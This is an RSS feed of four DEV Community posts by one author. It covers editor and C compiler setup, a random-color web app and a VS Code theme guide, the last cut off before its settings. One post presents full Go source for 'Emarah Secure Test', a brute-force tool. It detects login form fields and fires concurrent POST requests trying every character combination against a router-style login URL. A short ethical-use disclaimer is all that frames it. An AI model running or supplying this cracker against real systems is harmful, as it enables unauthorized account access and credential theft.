<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Abdullah al Azmi</title>
    <description>The latest articles on DEV Community by Abdullah al Azmi (@abdullah_alazmi_12).</description>
    <link>https://dev.to/abdullah_alazmi_12</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1730905%2F0bf3dcef-93a8-4c02-80d2-43dc2fe15ffa.jpg</url>
      <title>DEV Community: Abdullah al Azmi</title>
      <link>https://dev.to/abdullah_alazmi_12</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/abdullah_alazmi_12"/>
    <language>en</language>
    <item>
      <title>How to install VSCode/VSCodium?</title>
      <dc:creator>Abdullah al Azmi</dc:creator>
      <pubDate>Thu, 12 Sep 2024 23:45:07 +0000</pubDate>
      <link>https://dev.to/abdullah_alazmi_12/how-to-install-vscodevscodium-166h</link>
      <guid>https://dev.to/abdullah_alazmi_12/how-to-install-vscodevscodium-166h</guid>
      <description>&lt;h2&gt;
  
  
  Code Editor and Compiler Setup
&lt;/h2&gt;

&lt;h2&gt;
  
  
  Step 1: Install a Code Editor
&lt;/h2&gt;

&lt;p&gt;For this project, I recommend using VSCodium, a free, open-source code editor similar to Visual Studio Code but without Microsoft's telemetry. However, feel free to use any other editor if you prefer.&lt;/p&gt;

&lt;h3&gt;
  
  
  Installation on Windows
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Go to the &lt;a href="https://vscodium.com/" rel="noopener noreferrer"&gt;VSCodium website&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Download the installer for Windows.&lt;/li&gt;
&lt;li&gt;Run the installer and follow the on-screen instructions to complete the installation.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Installation on Linux
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Open your terminal and run the following commands based on your Linux distribution:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;For Debian/Ubuntu-based systems:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt upgrade
 &lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;codium
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;For Fedora:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;dnf &lt;span class="nb"&gt;install &lt;/span&gt;codium
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;For Arch Linux:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;pacman &lt;span class="nt"&gt;-S&lt;/span&gt; codium
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Step 2: Install a C Compiler
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Installation on Windows
&lt;/h3&gt;

&lt;p&gt;For Windows, I recommend using MinGW (Minimalist GNU for Windows) or TDM-GCC:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;MinGW Installation:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Download the installer from the &lt;a href="https://www.mingw.org/" rel="noopener noreferrer"&gt;MinGW official website&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Run the installer and select &lt;code&gt;mingw32-gcc-g++&lt;/code&gt; and &lt;code&gt;mingw32-base&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;After installation, add &lt;code&gt;C:\MinGW\bin&lt;/code&gt; to your system's PATH environment variable.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;TDM-GCC Installation:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Download TDM-GCC from the &lt;a href="https://jmeubank.github.io/tdm-gcc/download/" rel="noopener noreferrer"&gt;TDM-GCC official website&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Follow the installation instructions and add it to your PATH if necessary.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Installation on Linux
&lt;/h3&gt;

&lt;p&gt;On most Linux distributions, GCC (GNU Compiler Collection) is usually pre-installed. To ensure you have it installed, run:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;For Debian/Ubuntu-based systems:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt upgrade
 &lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;build-essential
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;For Fedora:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;dnf &lt;span class="nb"&gt;install &lt;/span&gt;gcc
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;For Arch Linux:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;pacman &lt;span class="nt"&gt;-S&lt;/span&gt; gcc
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Step 3: Add a Customized Theme to Your Code Editor
&lt;/h2&gt;

&lt;p&gt;To enhance your coding experience, I recommend using a customized theme created earlier. Follow these steps to add it to your code editor:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Visit the &lt;a href="https://dev.to/abdullah_alazmi_12/hey-this-is-my-personal-customization-and-maybe-you-will-like-this-1lon"&gt;custom theme link&lt;/a&gt; and copy the theme settings provided.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open your code editor (VSCodium/VS Code), and press:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Ctrl + Shift + P
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Type &lt;code&gt;settings&lt;/code&gt; and select:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Preferences: Open User Settings &lt;span class="o"&gt;(&lt;/span&gt;JSON&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Step 4: Install Necessary Extensions for C Programming
&lt;/h2&gt;

&lt;p&gt;To optimize your coding environment for C programming, it's essential to install the following extensions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;C/C++ Extensions Pack:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This extension pack includes all necessary tools like IntelliSense, debugging, and code browsing for C/C++.&lt;/li&gt;
&lt;li&gt;Search for 'C/C++' by Microsoft in the extension marketplace and install it.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Code Runner:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Allows you to run your code snippets easily.&lt;/li&gt;
&lt;li&gt;Search for 'Code Runner' in the extension marketplace and install it.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;By following these steps, you will have your code editor and compiler ready, complete with a custom theme and necessary extensions for an enhanced coding experience.&lt;/strong&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Emarah Secure Test: A Penetration Testing Tool for Ethical Hacking</title>
      <dc:creator>Abdullah al Azmi</dc:creator>
      <pubDate>Mon, 09 Sep 2024 15:49:04 +0000</pubDate>
      <link>https://dev.to/abdullah_alazmi_12/emarah-secure-test-a-penetration-testing-tool-for-ethical-hacking-5b32</link>
      <guid>https://dev.to/abdullah_alazmi_12/emarah-secure-test-a-penetration-testing-tool-for-ethical-hacking-5b32</guid>
      <description>&lt;p&gt;Emarah Secure Test is a penetration testing tool designed for ethical hacking, research, and educational purposes. This tool focuses on credential cracking using brute force techniques while ensuring a secure and controlled environment. It is specifically built to demonstrate vulnerabilities and improve understanding of security measures through real-world scenarios.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Features:
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Brute Force Attack Engine: Utilizes concurrent and sequential brute force attacks to crack credentials, detecting username and password fields on web pages and automating login attempts.&lt;/li&gt;
&lt;li&gt;    Customizable Configuration: Easily configure the base URL, character set, password length, and concurrency level to suit different testing needs.&lt;/li&gt;
&lt;li&gt;    Input Field Detection: Automatically detects input fields like username and password on target pages, ensuring accurate and efficient attack attempts.&lt;/li&gt;
&lt;li&gt;    Concurrent and Sequential Attacks: Supports concurrent cracking for quick results or sequential cracking to target specific fields, enhancing the tool's versatility in various penetration testing scenarios.&lt;/li&gt;
&lt;li&gt;    Process Management and State Tracking: Manages brute force state using thread-safe techniques, ensuring accurate tracking of attempts and preventing redundant processes.&lt;/li&gt;
&lt;li&gt;    Security and Ethical Use: Designed strictly for ethical hacking and educational purposes, with strong emphasis on secure deployment and usage within legal boundaries.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Use Cases:
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;    Educational Demonstrations: Use this tool to demonstrate the impact of weak password policies and the importance of strong security measures.&lt;/li&gt;
&lt;li&gt;    Research and Development: Ideal for researchers working on cybersecurity improvements and developing more secure authentication mechanisms.&lt;/li&gt;
&lt;li&gt;    Ethical Hacking Training: Train cybersecurity professionals by providing real-world penetration testing scenarios in a controlled environment.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Disclaimer:
&lt;/h2&gt;

&lt;p&gt;Emarah Secure Test is intended strictly for ethical hacking and educational purposes. Unauthorized use against systems you do not own or have explicit permission to test is illegal and against the principles of this tool.&lt;/p&gt;

&lt;h2&gt;
  
  
  Code:
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package main

import (
    "bytes"
    "fmt"
    "net/http"
    "strings"
    "sync"
    "time"

    "golang.org/x/net/html"
)

type Config struct {
    BaseURL     string
    Charset     string
    MaxLength   int
    Concurrency int
}

type BruteForceState struct {
    Found    bool
    Attempts int
    Username string
    Password string
    Mutex    sync.Mutex
}

func main() {
    config := Config{
        BaseURL:     "http://192.168.0.1/login.html",
        Charset:     "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&amp;amp;*()",
        MaxLength:   4,
        Concurrency: 10,
    }

    state := BruteForceState{}
    startTime := time.Now()

    runBruteForce(config, &amp;amp;state)

    duration := time.Since(startTime)
    if state.Found {
        fmt.Printf("Username: %s\nPassword: %s\nAttempts: %d\nTime taken: %v\n", state.Username, state.Password, state.Attempts, duration)
    } else {
        fmt.Println("Credentials not found within the given length constraints.")
    }
}

func runBruteForce(config Config, state *BruteForceState) {
    usernameField, passwordField, nextPage := detectFields(config.BaseURL)

    if usernameField != "" &amp;amp;&amp;amp; passwordField != "" {
        fmt.Println("Attempting to crack username and password concurrently...")
        performConcurrentAttack(config, state, usernameField, passwordField)
    } else if usernameField != "" {
        fmt.Println("Username found, attempting to crack username first...")
        crackedUsername := performSequentialAttack(config, state, usernameField, "")
        if crackedUsername != "" {
            passwordField, _ = detectNextPageFields(nextPage)
            if passwordField != "" {
                fmt.Println("Username cracked. Now attempting to crack the password...")
                performSequentialAttack(config, state, "", passwordField)
            }
        }
    } else if passwordField != "" {
        fmt.Println("Only password field detected, attempting to crack...")
        performSequentialAttack(config, state, "", passwordField)
    }
}

func detectFields(url string) (usernameField, passwordField, nextPage string) {
    resp, err := http.Get(url)
    if err != nil {
        fmt.Println("Error fetching the page:", err)
        return
    }
    defer resp.Body.Close()

    doc := html.NewTokenizer(resp.Body)
    for {
        tokenType := doc.Next()
        if tokenType == html.ErrorToken {
            break
        }

        token := doc.Token()
        if tokenType == html.StartTagToken &amp;amp;&amp;amp; token.Data == "input" {
            var inputType, id, name, placeholder string
            for _, attr := range token.Attr {
                switch attr.Key {
                case "type":
                    inputType = attr.Val
                case "id":
                    id = attr.Val
                case "name":
                    name = attr.Val
                case "placeholder":
                    placeholder = attr.Val
                }
            }

            if inputType == "text" || strings.Contains(id, "user") || strings.Contains(name, "user") || strings.Contains(placeholder, "user") {
                usernameField = id
            } else if inputType == "password" || strings.Contains(id, "pass") || strings.Contains(name, "pass") || strings.Contains(placeholder, "pass") {
                passwordField = id
            }
        }

        if tokenType == html.StartTagToken &amp;amp;&amp;amp; (token.Data == "a" || token.Data == "button") {
            for _, attr := range token.Attr {
                if attr.Key == "href" {
                    nextPage = attr.Val
                }
            }
        }
    }

    return
}

func detectNextPageFields(url string) (passwordField, nextPage string) {
    resp, err := http.Get(url)
    if err != nil {
        fmt.Println("Error fetching the next page:", err)
        return
    }
    defer resp.Body.Close()

    doc := html.NewTokenizer(resp.Body)
    for {
        tokenType := doc.Next()
        if tokenType == html.ErrorToken {
            break
        }

        token := doc.Token()
        if tokenType == html.StartTagToken &amp;amp;&amp;amp; token.Data == "input" {
            var inputType, id, name, placeholder string
            for _, attr := range token.Attr {
                switch attr.Key {
                case "type":
                    inputType = attr.Val
                case "id":
                    id = attr.Val
                case "name":
                    name = attr.Val
                case "placeholder":
                    placeholder = attr.Val
                }
            }

            if inputType == "password" || strings.Contains(id, "pass") || strings.Contains(name, "pass") || strings.Contains(placeholder, "pass") {
                passwordField = id
            }
        }
    }

    return
}

func performConcurrentAttack(config Config, state *BruteForceState, usernameField, passwordField string) {
    var wg sync.WaitGroup
    passwords := make(chan string, config.Concurrency)

    for i := 0; i &amp;lt; config.Concurrency; i++ {
        wg.Add(1)
        go worker(config, state, passwords, usernameField, passwordField, &amp;amp;wg)
    }

    generatePasswords(config, passwords)
    close(passwords)
    wg.Wait()
}

func performSequentialAttack(config Config, state *BruteForceState, usernameField, passwordField string) string {
    passwords := make(chan string, config.Concurrency)
    var wg sync.WaitGroup

    for i := 0; i &amp;lt; config.Concurrency; i++ {
        wg.Add(1)
        go worker(config, state, passwords, usernameField, passwordField, &amp;amp;wg)
    }

    generatePasswords(config, passwords)
    close(passwords)
    wg.Wait()

    if usernameField != "" {
        return state.Username
    } else if passwordField != "" {
        return state.Password
    }
    return ""
}

func worker(config Config, state *BruteForceState, passwords &amp;lt;-chan string, usernameField, passwordField string, wg *sync.WaitGroup) {
    defer wg.Done()
    for password := range passwords {
        if state.Found {
            return
        }

        success, foundUsername := attemptLogin(config, usernameField, passwordField, password)
        state.Mutex.Lock()
        state.Attempts++
        if success {
            state.Found = true
            if foundUsername {
                state.Username = password
            } else {
                state.Password = password
            }
        }
        state.Mutex.Unlock()
    }
}

func attemptLogin(config Config, usernameField, passwordField, value string) (bool, bool) {
    var data string
    if usernameField != "" {
        data = fmt.Sprintf("%s=%s", usernameField, value)
    } else if passwordField != "" {
        data = fmt.Sprintf("%s=%s&amp;amp;%s=%s", usernameField, value, passwordField, value)
    }

    req, err := http.NewRequest("POST", config.BaseURL, bytes.NewBufferString(data))
    if err != nil {
        return false, false
    }
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

    client := &amp;amp;http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        return false, false
    }
    defer resp.Body.Close()

    if resp.StatusCode == http.StatusOK {
        buf := new(bytes.Buffer)
        buf.ReadFrom(resp.Body)
        if strings.Contains(buf.String(), "Welcome") {
            return true, usernameField != ""
        }
    }

    return false, false
}

func generatePasswords(config Config, passwords chan&amp;lt;- string) {
    for length := 1; length &amp;lt;= config.MaxLength; length++ {
        generateCombination("", length, config.Charset, passwords)
    }
}

func generateCombination(prefix string, maxLength int, charset string, passwords chan&amp;lt;- string) {
    if len(prefix) == maxLength {
        passwords &amp;lt;- prefix
        return
    }
    for _, c := range charset {
        generateCombination(prefix+string(c), maxLength, charset, passwords)
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Install this also:
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;go get golang.org/x/net
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
    </item>
    <item>
      <title>🎨 Color Generation App</title>
      <dc:creator>Abdullah al Azmi</dc:creator>
      <pubDate>Mon, 09 Sep 2024 15:32:25 +0000</pubDate>
      <link>https://dev.to/abdullah_alazmi_12/java-script-projects-kip</link>
      <guid>https://dev.to/abdullah_alazmi_12/java-script-projects-kip</guid>
      <description>&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;This app allows users to generate random colors in RGB, RGBA, and HEX formats. It also provides the option to toggle between these formats, displaying color information dynamically.&lt;/p&gt;

&lt;h2&gt;
  
  
  HTML File
&lt;/h2&gt;

&lt;p&gt;The HTML file includes the structure of the page, featuring color boxes, a generate button, toggle buttons for color formats, and informational sections for each color.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang="en"&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset="UTF-8"&amp;gt;
    &amp;lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&amp;gt;
    &amp;lt;title&amp;gt;Theme Changing&amp;lt;/title&amp;gt;
    &amp;lt;link rel="stylesheet" href="./style.css"&amp;gt;
    &amp;lt;link rel="fonts" href="/fonts/calibri_Font.css"&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body class="grid"&amp;gt;
    &amp;lt;div class="color-boxes"&amp;gt;
        &amp;lt;div class="color-box" id="color-box1"&amp;gt;Color 1&amp;lt;/div&amp;gt;
        &amp;lt;div class="color-box" id="color-box2"&amp;gt;Color 2&amp;lt;/div&amp;gt;
        &amp;lt;div class="color-box" id="color-box3"&amp;gt;Color 3&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;button id="generateButton"&amp;gt;Generate Colors&amp;lt;/button&amp;gt;
    &amp;lt;div class="toggle-buttons"&amp;gt;
        &amp;lt;button class="toggle-button" data-type="rgb"&amp;gt;RGB&amp;lt;/button&amp;gt;
        &amp;lt;button class="toggle-button" data-type="rgba"&amp;gt;RGBA&amp;lt;/button&amp;gt;
        &amp;lt;button class="toggle-button" data-type="hex"&amp;gt;HEX&amp;lt;/button&amp;gt;
        &amp;lt;button class="toggle-button" data-type="all"&amp;gt;ALL&amp;lt;/button&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;div class="color-info" id="color-info1"&amp;gt;Color Info 1&amp;lt;/div&amp;gt;
    &amp;lt;div class="color-info" id="color-info2"&amp;gt;Color Info 2&amp;lt;/div&amp;gt;
    &amp;lt;div class="color-info" id="color-info3"&amp;gt;Color Info 3&amp;lt;/div&amp;gt;
    &amp;lt;script src="./script.js"&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  CSS File
&lt;/h2&gt;

&lt;p&gt;This CSS styles the page with a modern and responsive design, including animations for the grid background, styles for the color boxes, buttons, and tooltips.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;body {
    background-color: #000000;
    color: #f9f9f9;
    display: flex;
    flex-direction: column;
    height: 100vh;
    align-items: center;
    justify-content: center;
    padding: 12px;
    margin: 0;
    overflow: hidden;
    transition: all 0.1s ease;
}
.grid {
    background-image: linear-gradient(to right, #0f0f10 1px, transparent 1px),
                      linear-gradient(to bottom, #0f0f10 1px, transparent 1px);
    background-size: 2rem 2rem;
    background-position: center center;
    animation: bgMove 10s linear infinite;
}
@keyframes bgMove {
    0% { background-position: center center; }
    100% { background-position: right bottom; }
}
.color-boxes {
    display: flex;
    justify-content: center;
    gap: 20px;
    margin-bottom: 20px;
}
.color-box {
    width: 100px;
    height: 100px;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 0.8rem;
    color: #fff;
    border-radius: 12px;
    position: relative;
    text-align: center;
    transition: background-color 0.3s ease;
}
.color-info {
    margin-top: 10px;
    font-size: 0.9rem;
    font-weight: bold;
    text-align: center;
    position: relative;
    border-radius: 12px;
    box-shadow: 0 0 15px rgba(0, 0, 0, 0.6);
    background-color: #151515;
    padding: 20px;
    max-width: 400px;
    width: 90%;
    z-index: 1;
    transition: all 0.3s ease;
}
.tooltip {
    position: absolute;
    top: -150%;
    left: 50%;
    transform: translateX(-50%);
    padding: 0.3rem 0.6rem;
    opacity: 0;
    pointer-events: none;
    transition: all 0.3s ease;
    background: #333333;
    z-index: 1;
    border-radius: 8px;
    text-transform: capitalize;
    font-weight: 400;
    font-size: 0.8rem;
    color: #e8e8e8;
    white-space: nowrap;
    transform-origin: top center;
}
.tooltip::before {
    position: absolute;
    content: "";
    height: 0.6rem;
    width: 0.6rem;
    bottom: -0.3rem;
    left: 50%;
    transform: translateX(-50%) rotate(45deg);
    background: #333333;
}
.color-info:hover .tooltip {
    opacity: 1;
    pointer-events: auto;
    transform: translateX(-50%) translateY(-10px);
}
#generateButton {
    padding: 10px 20px;
    border-radius: 12px;
    background-color: #f9f9f9;
    color: #212121;
    border: none;
    font-size: 1.1rem;
    font-weight: bold;
    margin-bottom: 20px;
    cursor: pointer;
    transition: background-color 0.3s ease;
}
#generateButton:hover {
    background-color: #e0e0e0;
}
.toggle-buttons {
    display: flex;
    gap: 10px;
    margin-bottom: 20px;
}
.toggle-button {
    padding: 5px 10px;
    border-radius: 8px;
    background-color: #f9f9f9;
    color: #212121;
    border: none;
    cursor: pointer;
    font-size: 0.9rem;
    font-weight: bold;
    transition: background-color 0.3s ease;
}
.toggle-button:hover {
    background-color: #e0e0e0;
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  JavaScript File
&lt;/h2&gt;

&lt;p&gt;The JavaScript file generates random colors in different formats and handles UI interactions, including updating color information, toggling between formats, and copying color values to the clipboard.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function getRandomColor() {
    const r = Math.floor(Math.random() * 256);
    const g = Math.floor(Math.random() * 256);
    const b = Math.floor(Math.random() * 256);
    const a = (Math.random() * 1).toFixed(2); 
    const rgb = `rgb(${r}, ${g}, ${b})`;
    const rgba = `rgba(${r}, ${g}, ${b}, ${a})`;
    const hex = `#${((1 &amp;lt;&amp;lt; 24) | (r &amp;lt;&amp;lt; 16) | (g &amp;lt;&amp;lt; 8) | b).toString(16).slice(1).toUpperCase()}`;
    return { rgb, rgba, hex };
}

function displayColorInfo(box, info, color) {
    box.style.backgroundColor = color.rgb;
    info.innerHTML = `RGB: ${color.rgb}&amp;lt;br&amp;gt;RGBA: ${color.rgba}&amp;lt;br&amp;gt;HEX: ${color.hex}`;
    info.dataset.rgb = color.rgb;
    info.dataset.rgba = color.rgba;
    info.dataset.hex = color.hex;
}

function toggleColorInfo(type) {
    const infoDivs = document.querySelectorAll(".color-info");
    infoDivs.forEach(div =&amp;gt; {
        const rgb = div.dataset.rgb;
        const rgba = div.dataset.rgba;
        const hex = div.dataset.hex;
        if (type === "all") {
            div.innerHTML = `RGB: ${rgb}&amp;lt;br&amp;gt;RGBA: ${rgba}&amp;lt;br&amp;gt;HEX: ${hex}`;
        } else if (type === "rgb") {
            div.innerHTML = `RGB: ${rgb}`;
        } else if (type === "rgba") {
            div.innerHTML = `RGBA: ${rgba}`;
        } else if (type === "hex") {
            div.innerHTML = `HEX: ${hex}`;
        }
    });
}

document.getElementById("generateButton").addEventListener("click", function () {
    const colorBox1 = document.getElementById("color-box1");
    const colorBox2 = document.getElementById("color-box2");
    const colorBox3 = document.getElementById("color-box3");
    const colorInfo1 = document.getElementById("color-info1");
    const colorInfo2 = document.getElementById("color-info2");
    const colorInfo3 = document.getElementById("color-info3");
    const color1 = getRandomColor();
    const color2 = getRandomColor();
    const color3 = getRandomColor();
    displayColorInfo(colorBox1, colorInfo1, color1);
    displayColorInfo(colorBox2, colorInfo2, color2);
    displayColorInfo(colorBox3, colorInfo3, color3);
});

document.querySelectorAll(".toggle-button").forEach(button =&amp;gt; {
    button.addEventListener("click", function () {
        toggleColorInfo(button.getAttribute("data-type"));
    });
});

document.querySelectorAll(".color-info").forEach(info =&amp;gt; {
    info.addEventListener("mouseover", function () {
        const tooltip = document.createElement("span");
        tooltip.className = "tooltip";
        tooltip.innerText = "Copy";
        info.appendChild(tooltip);
    });

    info.addEventListener("mouseout", function () {
        const tooltip = info.querySelector(".tooltip");
        if (tooltip) {
            tooltip.remove();
        }
    });

    info.addEventListener("click", function () {
        const tooltip = info.querySelector(".tooltip");
        navigator.clipboard.writeText(info.innerText).then(() =&amp;gt; {
            tooltip.innerText = "Copied!";
            setTimeout(() =&amp;gt; {
                tooltip.innerText = "Copy";
            }, 1000);
        });
    });
});

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
    </item>
    <item>
      <title>Customize your VS Code/Code-OSS/VSCodium!!!</title>
      <dc:creator>Abdullah al Azmi</dc:creator>
      <pubDate>Sat, 07 Sep 2024 18:54:45 +0000</pubDate>
      <link>https://dev.to/abdullah_alazmi_12/hey-this-is-my-personal-customization-and-maybe-you-will-like-this-1lon</link>
      <guid>https://dev.to/abdullah_alazmi_12/hey-this-is-my-personal-customization-and-maybe-you-will-like-this-1lon</guid>
      <description>&lt;h2&gt;
  
  
  Installation Guide
&lt;/h2&gt;

&lt;p&gt;Follow these steps to apply the settings to your VS Code, Code-OSS, or VSCodium:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Install Required Extensions
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Open VS Code/Code-OSS/VSCodium and navigate to the Extensions view by pressing &lt;code&gt;Ctrl + Shift + X&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Search and install the following extensions:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Ayu Theme&lt;/strong&gt;: For the Ayu Dark theme.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Material Icon Theme&lt;/strong&gt;: For modern file and folder icons.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Open User Settings
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Open the Command Palette with &lt;code&gt;Ctrl + Shift + P&lt;/code&gt; and type &lt;code&gt;Preferences: Open User Settings (JSON)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;This will open your settings file in JSON format.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Copy and Paste Settings
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Copy the provided settings configuration and paste it into the JSON file, replacing any existing settings.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. Save the Settings
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Save the file by pressing &lt;code&gt;Ctrl + S&lt;/code&gt;. The changes will be applied automatically.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5. Restart VS Code/Code-OSS/VSCodium
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Restart your editor to ensure all settings and themes are correctly applied.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Troubleshooting
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;If the theme does not change, make sure the Ayu theme is correctly installed and selected in the settings via &lt;code&gt;File &amp;gt; Preferences &amp;gt; Color Theme&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Ensure all extensions are up-to-date to avoid compatibility issues.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  JSON File
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Workbench Settings
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
